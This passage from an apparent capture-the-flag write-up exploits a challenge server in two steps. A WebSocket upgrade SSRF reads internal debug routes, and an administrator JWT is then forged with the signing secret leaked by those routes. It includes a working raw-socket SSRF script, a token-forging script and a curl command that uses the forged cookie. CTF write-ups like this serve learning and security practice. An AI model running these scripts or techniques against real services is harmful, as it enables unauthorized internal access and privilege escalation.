## Internal Endpoint Discovery
Fetching the internal OpenAPI document disclosed two useful routes:
- /api/v1/internal/debug/config
- /api/v1/internal/session-template
The first route exposed the session cookie name, JWT issuer, HS256 algorithm, signing secret, and administrator identity. The second disclosed the precise claims expected for an administrator session. This removed guesswork about both token construction and authorization semantics.
The following script sends arbitrary absolute-form upgrade requests through the public edge:
#!/usr/bin/env python3
import socket
import sys
EDGE_HOST = "tasks.duckerz.ru"
EDGE_PORT = 30079
destination = sys.argv[1] if len(sys.argv) > 1 else "http:///openapi.json"
request = (
f"GET {destination} HTTP/1.1\r\n"
f"Host: {EDGE_HOST}:{EDGE_PORT}\r\n"
"Connection: Upgrade\r\n"
"Upgrade: websocket\r\n"
"Sec-WebSocket-Version: 13\r\n"
"Sec-WebSocket-Key: Y3RmLXdzLXNzcmYtcHJvYmU=\r\n"
"\r\n"
).encode()
with socket.create_connection((EDGE_HOST, EDGE_PORT), timeout=8) as sock:
sock.sendall(request)
sock.settimeout(8)
chunks = []
try:
while sum(map(len, chunks)) < 128 * 1024:
chunk = sock.recv(8192)
if not chunk:
break
chunks.append(chunk)
except socket.timeout:
pass
sys.stdout.buffer.write(b"".join(chunks))
Reproduce the internal requests with:
python3 ws_ssrf.py 'http:///openapi.json'
python3 ws_ssrf.py 'http:///api/v1/internal/debug/config'
python3 ws_ssrf.py 'http:///api/v1/internal/session-template'
## Forging the Administrative JWT
The leaked configuration specified:
- Cookie name: ops_session
- Algorithm: HS256
- Issuer: northstar-release
- Signing secret: northstar-release-secret-435656
- Administrator identity: release-admin@duckerz.task
The session template required sub, email, role, iss, iat, and exp. A fresh token was generated with current timestamps rather than replaying the expired template:
#!/usr/bin/env python3
import base64
import hashlib
import hmac
import json
import time
SECRET = b"northstar-release-secret-435656"
def enc(value):
raw = json.dumps(value, separators=(",", ":")).encode()
return base64.urlsafe_b64encode(raw).rstrip(b"=")
now = int(time.time())
header = enc({"alg": "HS256", "typ": "JWT"})
payload = enc({
"sub": "release-admin@duckerz.task",
"email": "release-admin@duckerz.task",
"role": "admin",
"iss": "northstar-release",
"iat": now,
"exp": now + 3600,
})
message = header + b"." + payload
signature = base64.urlsafe_b64encode(
hmac.new(SECRET, message, hashlib.sha256).digest()
).rstrip(b"=")
print((message + b"." + signature).decode())
Use the generated token as the disclosed cookie:
TOKEN="$(python3 forge_admin_jwt.py)"
curl -i -sS -H "Cookie: ops_session=${TOKEN}" \
'http://tasks.duckerz.ru:30079/admin'
The response changed from the unauthenticated 307 redirect to 200 OK, used X-Powered-By: Next.js, and rendered the privileged editorial report containing the challenge flag.